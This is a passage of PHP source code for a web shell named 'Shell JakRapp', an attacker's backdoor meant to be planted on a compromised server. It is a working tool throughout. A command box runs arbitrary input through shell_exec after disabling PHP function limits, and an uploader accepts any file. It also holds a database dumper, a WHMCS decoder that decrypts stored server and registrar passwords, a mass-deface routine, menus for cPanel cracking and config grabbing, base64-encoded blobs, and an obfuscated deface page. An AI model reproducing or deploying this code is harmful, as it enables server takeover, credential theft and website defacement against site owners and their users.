1/9w9qr/tcPX6dbhCzYhfEnSh2E/y00rrVwK2dbNyYqdcFoAhXS3Iv6kYAU/W/Bx2srBwWd5r11x2qT9M7WTxmZhYRZ808965rXLn63bQPAZ3Y9LzHB8pKPfkFc7NZot/C67KS79mM2+0FiD52yDcGYcrSTpCz0azzyRt5BikDFNXjwmSzIRxyhXOJZms+OtYwngVfqD0WA5BhXxS+bagr7xX+p266Xst6A/j0tybEA7Pmke10O3E3ohbxpjTmlgtGzK9Szt04jG1Wp1ZeDezxPk3AfVL3pJXMUKWTqA6zeYzSuTBsp6Uflm9nQtdSblZj6fVzVeFZwgFGy0MGMWjLO3w/KzHuene1xjL1UuhxyETVMJdumIOJQ329eV9u0rN/QJC2pNUNAr2S/7oUubtVcwy8aQ+2u5GyzVxkYo5xWgClMb9Um++HvCre7Hi6fEjE+mx1omw+W1VHJa2uoyygAIo+4Uofy7j3T/O/ViuosOQ73LUX3fbucdyzsYr3vGig/DbY3WmIzJf+2+TmgTRP4gyIfWgXgNdLDfb2kRD6VNZ4lGroc7lDbaHH4y+rzBdnL6oVHgkdghec+mBEQXTbDsymsw+fP9Pw==";
  503. $jumper="fVJtb5swEP4rF4Rko7Ka7WMCpFLVfp20fWwrarA9PAFGtlmXVfvvuwtN1mjShEDmebl77kB3vYOkjLIdNHSDDKF6TLpRte7nY1KX0eOtoHNDmOWE1CdEkx3wNIxQgZ1s801HzoI0uhmd0iyDqoIigz2sEuaMYVtQVvPkznvnt/D1JEb681SKqGp8eHpQjLpU9sc5y3d5kJREIFgn2Q6Cjk20o24GO9rIC4Ru0hnFLwrrGTfriTOhYydWkOXMMxRZA3zzJszglRIBTx4+PMExFmzh1i1qeo7wRUsF7yr8m5By/IZ0XlpsKb2XB45IugTtwwXSuclcABbfih289HbQfGO0M/yUKXvFlUVPQ+BOwxlfo6Ozho9FQarZURfU4oGTJ2dbdgowyZEWG5YWiZUtcrKQQFn/iz6K6N2oBbs+O66ZwGkG2zV9HAfB1qb8b8UNuhhlJNyGxuOSaBf8WJOI45DNvIR+tYX87MbW71nslK82WiNdqb26orNxWLfr4a0CyLAOheU1/ans4d4tk4LNE5QSeq9NlewP1cU4l6Mk9X9IUQpZl62vGTXf138A";
  504. ?>
  505. <html>
  506. <head>
  507. <!-- SEO Meta Tag -->
  508. <meta content='Hacked By JakRapp' name='description'/>
  509. <meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
  510. <meta content='index,follow' name='robots'/>
  511. <meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
  512. <meta content='website' name='generator'/>
  513. <meta content='general' name='rating'/>
  514. <!-- SEO Title Tag -->
  515. <title>Shell JakRapp</title>
  516. <link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
  517. <meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
  518. <meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
  519. <meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
  520. <meta content='Hacked By JakRapp' name='description'/>
  521. <script type="text/javascript">
  522. function tukar(lama,baru){
  523. document.getElementById(lama).style.display = 'none';
  524. document.getElementById(baru).style.display = 'block';
  525. }
  526. </script>
  527. <style type="text/css">
  528. body{
  529. background:#000000;;
  530. }
  531. a {
  532. text-decoration:none;
  533. }
  534. a:hover{
  535. border-bottom:1px solid #FF0000;
  536. }
  537. *{
  538. font-size:11px;
  539. font-family:Tahoma,Verdana,Arial;
  540. color:#FFFFFF;
  541. }
  542. #menu{
  543. background:#000000;
  544. margin:8px 2px 4px 2px;
  545.  
  546. }
  547. #menu a{
  548. padding:4px 18px;
  549. margin:0;
  550. background:#c40909;
  551. text-decoration:none;
  552. letter-spacing:2px;
  553. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  554. }
  555. #menu a:hover{
  556. background:#6a0707;
  557. border-bottom:1px solid #c40909;
  558. border-top:1px solid #c40909;
  559. }
  560. .tabnet{
  561. margin:15px auto 0 auto;
  562. border: 1px solid #c40909;
  563. }
  564. .main {
  565. width:100%;
  566. }
  567. .gaya {
  568. color: #FF0000;
  569. }
  570. .inputz{
  571. background:#6a0707;
  572. border:0;
  573. padding:2px;
  574. border-bottom:1px solid #c40909;
  575. border-top:1px solid #c40909;
  576. }
  577. .inputzbut{
  578. background:#6a0707;
  579. color:#ff000;
  580. margin:0 4px;
  581. border:1px solid #444444;
  582.  
  583. }
  584. .inputz:hover, .inputzbut:hover{
  585. border-bottom:1px solid #FF0000;
  586. border-top:1px solid #FF0000;
  587. }
  588. .output {
  589. margin:auto;
  590. border:1px solid #FF0000;
  591. width:100%;
  592. height:400px;
  593. background:#000000;
  594. padding:0 2px;
  595. }
  596. .cmdbox{
  597. width:100%;
  598. }
  599. .head_info{
  600. padding: 0 4px;
  601. float:center;
  602. }
  603. .jaya{ font-family: ;}
  604.  
  605. .j4kr4pp{
  606. font-size:30px;
  607. padding:0;
  608. color:#444444;
  609. }
  610. .j4kr4pp_tbl{
  611. text-align:center;
  612. margin:0 4px 0 0;
  613. padding:0 4px 0 0;
  614. border-right:1px solid #c40909;
  615. }
  616. .phpinfo table{
  617. width:100%;
  618. padding:0 0 0 0;
  619. }
  620. .phpinfo td{
  621. background:#6a0707;
  622. color:#cccccc;
  623. padding:6px 8px;;
  624. }
  625. .phpinfo th, th{
  626. background:#6a0707;
  627. border-bottom:1px solid #c40909;
  628. font-weight:normal;
  629. }
  630. .phpinfo h2, .phpinfo h2 a{
  631. text-align:center;
  632. font-size:16px;
  633. padding:0;
  634. margin:30px 0 0 0;
  635. background:#c40909;
  636. padding:4px 0;
  637. }
  638. .explore{
  639. width:100%;
  640. }
  641. .explore a {
  642. text-decoration:none;
  643. }
  644. .explore td{
  645. border-bottom:1px solid #c40909;
  646. padding:0 8px;
  647. line-height:24px;
  648. }
  649. .explore th{
  650. padding:3px 8px;
  651. font-weight:normal;
  652. }
  653. .explore th:hover , .phpinfo th:hover{
  654. border-bottom:1px solid #FF0000;
  655. }
  656. .explore tr:hover{
  657. background:#6a0707;
  658. }
  659. .viewfile{
  660. background:#EDECEB;
  661. color:#000000;
  662. margin:4px 2px;
  663. padding:8px;
  664. }
  665. .sembunyi{
  666. display:none;
  667. padding:0;margin:0;
  668. }
  669.  
  670. </style></head>
  671. <body onLoad="document.getElementById('cmd').focus();">
  672. <div class="main">
  673. <!-- head info start here -->
  674. <div class="head_info">
  675. <table ><tr>
  676. <td><table class="j4kr4pp_tbl"><tr><td><a href="?<?php echo "y=".$pwd; ?>&amp;jak=about"><span class="j4kr4pp"><img src="http://kefiex.yu.tl/files/bnx.png"/></span></a></td></tr><br>
  677. <div id="menu" align="left">
  678. <form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
  679. <td><!-- onMouseOver="this.focus();" --><nobr><input type="file" name="file" class="inputz" size="50">
  680. <input name="_upl" type="submit" id="_upl" class="inputz" value="Upload"></form></div></b></td></tr></table></td>
  681. <td><?php echo $buff; ?></td>
  682. </td>
  683. </tr>
  684. </tr></table>
  685. </div>
  686. <div id="menu" align="center">
  687.  
  688. <font color=red size=2 face="TAHOMA">
  689. <p align="center" dir="ltr"> <hr><center>
  690. <font color="red" font size=3 > | <font color="white" font size=3 >
  691. <a href="?" style="text-decoration: none">
  692. Home </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  693. <a href="?jak=phpinfo" style="text-decoration: none">
  694. Info </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  695. <a href="?jak=sql" style="text-decoration: none">
  696. SQL1 </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  697. <a href="?x=mysql" style="text-decoration: none">
  698. SQL2 </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  699. <a href="?jak=cp" style="text-decoration: none">
  700. Cpanel Cracker </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  701. <a href="?jak=jump" style="text-decoration: none">
  702. Jumping </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  703. <a href="?jak=maling" style="text-decoration: none">
  704. Maling Script </a> <font color="white" font size=3 ></font>
  705. <font color="red" font size=3 > |</font>
  706. <br><hr><center>
  707. <font color="red" font size=3 > |</font>
  708. <a href="?jak=auto" style="text-decoration: none">
  709. Auto Wget </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  710. <a href="?jak=config" style="text-decoration: none">
  711. Config Grabber </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  712. <a href="?jak=wp2" style="text-decoration: none">
  713. Config Auto Get </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  714. <a href="?jak=zonh" style="text-decoration: none">
  715. Zon-H </a> <font color="white" font size=3 > <font color="red" font size=3 >|</font>
  716. <a href="?jak=mass" style="text-decoration: none">
  717. Mass Deface </a> <font color="white" font size=3 ></font>
  718. <font color="red" font size=3 >|</font>
  719. <br><hr><center>
  720. <font color="red" font size=3 >|</font>
  721. <a href="?jak=brute" style="text-decoration: none">
  722. Cp Brute </a> <font color="white" font size=3 ></font>
  723. <font color="red" font size=3 >|</font>
  724. <a href="?jak=finder" style="text-decoration: none">
  725. Admin Finder </a> <font color="white" font size=3 ></font>
  726. <font color="red" font size=3 > |</font>
  727. <a href="?jak=sym" style="text-decoration: none">
  728. Symlink </a> <font color="white" font size=3 ></font>
  729. <font color="red" font size=3 > |</font>
  730. <a href="?jak=has" style="text-decoration: none">
  731. Password Hash </a> <font color="white" font size=3 ></font>
  732. <font color="red" font size=3 > |</font>
  733. <a href="?jak=whmcs" style="text-decoration: none">
  734. Whmcs Decoder </a> <font color="white" font size=3 ></font>
  735. <font color="red" font size=3 > |</font>
  736. <a href="?jak=wpp" style="text-decoration: none">
  737. Wp Mass </a> <font color="white" font size=3 ></font>
  738. <font color="red" font size=3 > |</font>
  739. <br><hr><center>
  740. <font color="red" font size=3 >|</font>
  741. <a href="?jak=jomla" style="text-decoration: none">
  742. Jomla Mass </a> <font color="white" font size=3 ></font>
  743. <font color="red" font size=3 >|</font>
  744. <a href="?jak=jombla" style="text-decoration: none">
  745. Jombla</a> <font color="white" font size=3 ></font>
  746. <font color="red" font size=3 > |</font>
  747. <a href="?jak=wpmas" style="text-decoration: none">
  748. Wp Mass Manual </a> <font color="white" font size=3 ></font>
  749. <font color="red" font size=3 > |</font>
  750. <a href="?x=upload" style="text-decoration: none">
  751. Upload </a> <font color="white" font size=3 ></font>
  752. <font color="red" font size=3 > |</font>
  753. <a href="?x=shell" style="text-decoration: none">
  754. Shell </a> <font color="white" font size=3 ></font>
  755. <font color="red" font size=3 > |</font>
  756. <a href="?jak=crack" style="text-decoration: none">
  757. Crack All </a> <font color="white" font size=3 ></font>
  758. <font color="red" font size=3 > |</font>
  759. <hr>
  760. <font color="red" font size=3 >|</font>
  761. <a href="?jak=sken" style="text-decoration: none">
  762. Scan All Dir In Server </a> <font color="white" font size=3 ></font>
  763. <font color="red" font size=3 > |</font>
  764. <a href="?jak=vkill" style="text-decoration: none">
  765. Perl Symlink Helper </a> <font color="white" font size=3 ></font>
  766. <font color="red" font size=3 > |</font>
  767. <a href="?jak=cgi" style="text-decoration: none">
  768. CGI Telnet </a> <font color="white" font size=3 ></font>
  769. <font color="red" font size=3 > |</font>
  770. <a href="?jak=dump" style="text-decoration: none">
  771. Db Dump </a> <font color="white" font size=3 ></font>
  772. <font color="red" font size=3 > |</font>
  773. </td><hr></center>
  774. </tr></table></div>
  775. <div id="viewfile" align="left">
  776. <form method="post">
  777. <td><nobr><b>CMD</b></nobr></td>
  778. <td><!-- onMouseOver="this.focus();" --><nobr><input id="cmd" class="inputz" type="text" name="cmd" style="width:300px;" value="" />
  779. <input class="inputzbut" type="submit" value=" >> " style="width:50px;" />
  780. </form>
  781.  
  782.  
  783. <?php
  784. if( $_POST['_upl'] == "Upload" ) {
  785. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
  786. else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
  787. }
  788. ?>
  789. <?php
  790. /*******************************************\
  791. | CMD linux DTT 2014
  792.  
  793. \*******************************************/
  794. $x0f = "fopen";
  795. $x10 = "fwrite";
  796. $x11 = "function_exists";
  797. $x12 = "shell_exec";
  798. if (isset($_POST['cmd'])) {
  799. $x0b = $x0f('php.ini', 'w');
  800. $x0c = " disable_functions=none ";
  801. $x10($x0b, $x0c);
  802. if ($x11('shell_exec')) {
  803. $x0d = $_POST['cmd'];
  804. $x0e = $x12("$x0d");
  805. echo "<div id=result>";
  806. echo "<span class=Y><pre>$x0e</pre></span";
  807. }
  808. echo "</div>";
  809. }
  810. ?>
  811. <center>
  812. <div id="menu" align="center">
  813. <?php
  814. if (isset($_GET['jak']) && ($_GET['jak'] == 'dump')) { ?>
  815. <form action="?jak=dump" method="post">
  816. <?php
  817. echo $head.'<p align="center">';
  818. echo '
  819. <table width=371 class=tabnet >
  820. <tr><th colspan="2">Database Dump</th></tr>
  821. <tr>
  822. <td>Server </td>
  823. <td><input class="inputz" type=text name=server size=52></td></tr><tr>
  824. <td>Username</td>
  825. <td><input class="inputz" type=text name=username size=52></td></tr><tr>
  826. <td>Password</td>
  827. <td><input class="inputz" type=text name=password size=52></td></tr><tr>
  828. <td>DataBase Name</td>
  829. <td><input class="inputz" type=text name=dbname size=52></td></tr>
  830. <tr>
  831. <td>DB Type </td>
  832. <td><form method=post action="'.$me.'">
  833. <select class="inputz" name=method>
  834. <option value="gzip">Gzip</option>
  835. <option value="sql">Sql</option>
  836. </select>
  837. <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
  838. </form></center></table>';
  839. if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
  840. $date = date("Y-m-d");
  841. $dbserver = $_POST['server'];
  842. $dbuser = $_POST['username'];
  843. $dbpass = $_POST['password'];
  844. $dbname = $_POST['dbname'];
  845. $file = "Dump-$dbname-$date";
  846. $method = $_POST['method'];
  847. if ($method=='sql'){
  848. $file="Dump-$dbname-$date.sql";
  849. $fp=fopen($file,"w");
  850. }else{
  851. $file="Dump-$dbname-$date.sql.gz";
  852. $fp = gzopen($file,"w");
  853. }
  854. function write($data) {
  855. global $fp;
  856. if ($_POST['method']=='ssql'){
  857. fwrite($fp,$data);
  858. }else{
  859. gzwrite($fp, $data);
  860. }}
  861. mysql_connect ($dbserver, $dbuser, $dbpass);
  862. mysql_select_db($dbname);
  863. $tables = mysql_query ("SHOW TABLES");
  864. while ($i = mysql_fetch_array($tables)) {
  865. $i = $i['Tables_in_'.$dbname];
  866. $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  867. write($create['Create Table'].";\n\n");
  868. $sql = mysql_query ("SELECT * FROM ".$i);
  869. if (mysql_num_rows($sql)) {
  870. while ($row = mysql_fetch_row($sql)) {
  871. foreach ($row as $j => $k) {
  872. $row[$j] = "'".mysql_escape_string($k)."'";
  873. }
  874. write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
  875. }
  876. }
  877. }
  878. if ($method=='ssql'){
  879. fclose ($fp);
  880. }else{
  881. gzclose($fp);}
  882. header("Content-Disposition: attachment; filename=" . $file);
  883. header("Content-Type: application/download");
  884. header("Content-Length: " . filesize($file));
  885. flush();
  886.  
  887. $fp = fopen($file, "r");
  888. while (!feof($fp))
  889. {
  890. echo fread($fp, 65536);
  891. flush();
  892. }
  893. fclose($fp);
  894. }
  895.  
  896. }
  897. elseif(isset($_GET['jak']) && ($_GET['jak'] == 'has'))
  898. {
  899. $submit= $_POST['enter'];
  900. if (isset($submit)) {
  901. $pass = $_POST['password']; // password
  902. $salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
  903. $hash = md5($pass); // md5 hash #1
  904. $md4 = hash("md4",$pass);
  905. $hash_md5 = md5($salt.$pass); // md5 hash with salt #2
  906. $hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
  907. $hash1 = sha1($pass); // sha1 hash #4
  908. $sha256 = hash("sha256",$text);
  909. $hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
  910. $hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
  911. }
  912. echo '<form action="" method="post"><b><table class=tabnet>';
  913. echo '<tr><th colspan="2">Password Hash</th></center></tr>';
  914. echo '<tr><td><b>Enter the word you want to encrypt:</b></td>';
  915. echo '<td><input class="inputz" type="text" name="password" size="40" />';
  916. echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
  917. echo '</td></tr><br>';
  918. echo '<tr><th colspan="2">Hash Result</th></center></tr>';
  919. echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
  920. echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
  921. echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
  922. echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
  923. echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
  924. echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
  925. echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
  926. echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
  927. echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
  928. }
  929. elseif(isset($_GET['jak']) && ($_GET['jak'] == 'whmcs'))
  930. {
  931. ?>
  932. <form action="?y=<?php echo $pwd; ?>&amp;jak=whmcs" method="post">
  933.  
  934. <?php
  935.  
  936. function decrypt ($string,$cc_encryption_hash)
  937. {
  938. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  939. $hash_key = _hash ($key);
  940. $hash_length = strlen ($hash_key);
  941. $string = base64_decode ($string);
  942. $tmp_iv = substr ($string, 0, $hash_length);
  943. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  944. $iv = $out = '';
  945. $c = 0;
  946. while ($c < $hash_length)
  947. {
  948. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  949. ++$c;
  950. }
  951. $key = $iv;
  952. $c = 0;
  953. while ($c < strlen ($string))
  954. {
  955. if (($c != 0 AND $c % $hash_length == 0))
  956. {
  957. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  958. }
  959. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  960. ++$c;
  961. }
  962. return $out;
  963. }
  964.  
  965. function _hash ($string)
  966. {
  967. if (function_exists ('sha1'))
  968. {
  969. $hash = sha1 ($string);
  970. }
  971. else
  972. {
  973. $hash = md5 ($string);
  974. }
  975. $out = '';
  976. $c = 0;
  977. while ($c < strlen ($hash))
  978. {
  979. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  980. $c += 2;
  981. }
  982. return $out;
  983. }
  984.  
  985. echo "
  986. <br><center><font size='5' color='#FF0000'><b>--==[ WHMCS Decoder ]==--</b></font></center>
  987. <center>
  988. <br>
  989.  
  990. <FORM action='' method='post'>
  991. <input type='hidden' name='form_action' value='2'>
  992. <br>
  993. <table class=tabnet style=width:320px;padding:0 1px;>
  994. <tr><th colspan=2>WHMCS Decoder</th></tr>
  995. <tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
  996. <tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
  997. <tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
  998. <tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
  999. <tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
  1000. <td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#FF0000;background-color:' value='Submit' name='Submit'></td>
  1001. </table>
  1002. </FORM>
  1003. </center>
  1004. ";
  1005.  
  1006. if($_POST['form_action'] == 2 )
  1007. {
  1008. //include($file);
  1009. $db_host=($_POST['db_host']);
  1010. $db_username=($_POST['db_username']);
  1011. $db_password=($_POST['db_password']);
  1012. $db_name=($_POST['db_name']);
  1013. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  1014.  
  1015.  
  1016.  
  1017. $link=mysql_connect($db_host,$db_username,$db_password) ;
  1018. mysql_select_db($db_name,$link) ;
  1019. $query = mysql_query("SELECT * FROM tblservers");
  1020. while($v = mysql_fetch_array($query)) {
  1021. $ipaddress = $v['ipaddress'];
  1022. $username = $v['username'];
  1023. $type = $v['type'];
  1024. $active = $v['active'];
  1025. $hostname = $v['hostname'];
  1026. echo("<center><table border='1'>");
  1027. $password = decrypt ($v['password'], $cc_encryption_hash);
  1028. echo("<tr><td>Type</td><td>$type</td></tr>");
  1029. echo("<tr><td>Active</td><td>$active</td></tr>");
  1030. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  1031. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  1032. echo("<tr><td>Username</td><td>$username</td></tr>");
  1033. echo("<tr><td>Password</td><td>$password</td></tr>");
  1034.  
  1035. echo "</table><br><br></center>";
  1036. }
  1037.  
  1038. $link=mysql_connect($db_host,$db_username,$db_password) ;
  1039. mysql_select_db($db_name,$link) ;
  1040. $query = mysql_query("SELECT * FROM tblregistrars");
  1041. echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
  1042. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  1043. while($v = mysql_fetch_array($query)) {
  1044. $registrar = $v['registrar'];
  1045. $setting = $v['setting'];
  1046. $value = decrypt ($v['value'], $cc_encryption_hash);
  1047. if ($value=="") {
  1048. $value=0;
  1049. }
  1050. $password = decrypt ($v['password'], $cc_encryption_hash);
  1051. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  1052. }
  1053. }
  1054. }
  1055.  
  1056. ?>
  1057. <?php
  1058. if (isset($_GET['jak']) && ($_GET['jak'] == 'mass')) { ?>
  1059. <form action="?jak=mass" method="post">
  1060. <?php ?>
  1061. <html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  1062.  
  1063. <p class="style3">
  1064.  
  1065. <span <ul>
  1066.  
  1067. <span class="style32">
  1068. <span class="style39">
  1069. <span style="font-weight: 700;" class="style33">
  1070. </span></p><br>
  1071. <span style="font-weight: 700;" class="style33">
  1072. <font class="hk" style="text-shadow: 2px 2px 3px rgb(0, 0, 0);"><br>
  1073. <br>
  1074. </center>
  1075. <div class="style31">
  1076. <center>
  1077. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  1078. <div class="style31">
  1079. [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
  1080. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  1081. <input type='submit' name='execmassdeface' value='Execute'></div>
  1082. </form></td></center>
  1083. <?php
  1084. echo "<center><textarea rows='10' cols='100'>";
  1085. $defaceurl = $_POST['massdefaceurl'];
  1086. $dir = $_POST['massdefacedir'];
  1087. echo $dir . "
  1088. ";
  1089. if (is_dir($dir)) {
  1090. if ($dh = opendir($dir)) {
  1091. while (($file = readdir($dh)) !== false) {
  1092. if (filetype($dir . $file) == "dir") {
  1093. $newfile = $dir . $file . "/jek.php";
  1094. echo $newfile . "
  1095. ";
  1096. if (!copy($defaceurl, $newfile)) {
  1097. echo "failed to copy $file...
  1098. ";
  1099. }
  1100. }
  1101. }
  1102. closedir($dh);
  1103. }
  1104. }
  1105. echo "</textarea></center>";
  1106. }
  1107. ?>
  1108. <?php
  1109. // SHELL IDBTE4M V2
  1110. // BY ./KEFIEX404 IDBTE4M
  1111. set_time_limit(0);
  1112. error_reporting(0);
  1113.  
  1114. $htcs = "
  1115. <html>
  1116. <head>
  1117. <!-- SEO Meta Tag -->
  1118. <meta content='Hacked By JakRapp' name='description'/>
  1119. <meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
  1120. <meta content='index,follow' name='robots'/>
  1121. <meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
  1122. <meta content='website' name='generator'/>
  1123. <meta content='general' name='rating'/>
  1124. <!-- SEO Title Tag -->
  1125. <title>Hacked By JakRapp</title>
  1126. <link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
  1127. <meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
  1128. <meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
  1129. <meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
  1130. <meta content='Hacked By JakRapp' name='description'/>
  1131. <script src='http://code.jquery.com/jquery-latest.min.js'></script>
  1132. <script src='http://blogparts.giffy.me/0117/parts.js'></script><a
  1133. <cite>
  1134. <style>
  1135. body {background:black; color:#FFFFFF; text-decoration:none; font-family:Concert One; font-size:16px;}
  1136. img {opacity:0.5;}
  1137. img:hover {opacity:1;}
  1138. a {text-decoration:none; color:#FFFFFF;}
  1139. a:hover {text-decoration:none; color:#666666;}
  1140. </style>
  1141. </head>
  1142. <body onselectstart='return false' ondragstart='return false' oncontextmenu='return false' onLoad='writetext()'>
  1143. <Script Language='Javascript'>
  1144. <!-- Lol Many scripts -->
  1145. <!--
  1146. document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%62%79%20%4D%61%72%6B%65%74%61%63%74%69%63%6F%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%34%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%37%25%34%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%37%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%32%30%25%34%38%25%35%34%25%34%44%25%34%43%25%32%30%25%34%35%25%36%45%25%36%33%25%37%32%25%37%39%25%37%30%25%37%34%25%36%39%25%36%46%25%36%45%25%32%30%25%36%32%25%37%39%25%32%30%25%34%44%25%36%31%25%37%32%25%36%42%25%36%35%25%37%34%25%36%31%25%36%33%25%37%34%25%36%39%25%36%33%25%36%46%25%32%45%25%36%33%25%36%46%25%36%44%25%32%30%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%30%41%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%37%35%25%36%45%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%34%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%34%35%25%32%35%25%33%36%25%34%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%34%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%34%35%25%32%35%25%33%33%25%34%34%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%34%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%30%25%34%31%25%32%37%25%32%39%25%32%39%25%33%42%25%30%41%25%32%46%25%32%46%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%46%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%53%63%72%69%70%74%3E'));
